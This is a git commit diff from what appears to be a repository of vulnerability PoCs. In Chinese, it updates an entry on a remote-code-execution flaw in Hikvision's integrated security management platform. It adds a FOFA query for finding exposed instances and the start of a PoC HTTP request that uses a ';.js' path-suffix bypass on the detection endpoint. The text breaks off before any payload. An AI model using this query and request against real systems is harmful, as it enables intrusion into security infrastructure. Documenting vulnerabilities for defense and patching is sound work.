6.11更新漏洞

This commit is contained in:
wy876
2024-06-11 17:00:43 +08:00
parent 3c95a6c50e
commit 8ccd2205e2
8 changed files with 199 additions and 2 deletions

View File

@@ -1,8 +1,15 @@
## 海康威视综合安防系统detection接口存在RCE漏洞
## poc
## fofa
```
POST /center/api/installation/detection HTTP/1.1
app="HIKVISION-综合安防管理平台" ||app="HIKVISION-iSecure-Center"
```
## poc
```
POST /center/api/installation/detection;.js HTTP/1.1
Host: xx.xx.xx.xx
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"